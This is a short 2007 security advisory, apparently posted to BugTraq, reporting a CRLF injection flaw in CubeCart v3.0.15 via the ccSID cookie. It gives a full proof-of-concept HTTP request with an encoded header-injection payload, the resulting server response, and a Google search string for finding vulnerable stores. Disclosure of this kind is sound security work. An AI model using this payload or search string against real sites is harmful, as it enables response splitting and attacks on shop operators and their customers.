UPDATED: CubeCart (v3.0.15) - CRLF Injection Vulnerability

Note to BugTraq: Forgot to tell which files are vulnerable. Sorry!

CubeCart (v3.0.15) - CRLF Injection Vulnerability

It is possible to set the cookie (prefixed with ccSID) to cause CRLF injection.

Vulnerable files: cart.php, index.php

HTTP Request:

GET / HTTP/1.0
Accept: /
User-Agent: Browser/1.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: www.cubecart.com
Cookie: ccSIDb05df7533e9e599e942866426123cbfb=%0d%0aINJECTED-HEADER%3Ainjected-data;ccUser=ZTYwNjY1YWEyMTE5MDc4NTJhYmY0Yjk5NjQ1NjAyZmQ%253D
Connection: Close
Pragma: no-cache

HTTP Response:

HTTP/1.1 200 OK
Date: Sat, 05 May 2007 22:02:26 GMT
Server: Apache/2.0.59 (Unix)
X-Powered-By: PHP/5.0.4
Set-Cookie: ccSIDb05df7533e9e599e942866426123cbfb=
INJECTED-HEADER: injected-data
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ccUser=YTk4YmIxMjI0YmYwYWRmM2NhMjkzNmFlNTZhMjJmNzk%3D; expires=Mon, 07 May 2007 22:02:26 GMT
Connection: close
Content-Type: text/html; charset=ISO-8859-1

Vulnerable: v3.0.15 (others may also be affected)
Google d0rk: "Powered by CubeCart"

John Martinelli
[email protected]
http://john-martinelli.com

May 5th, 2007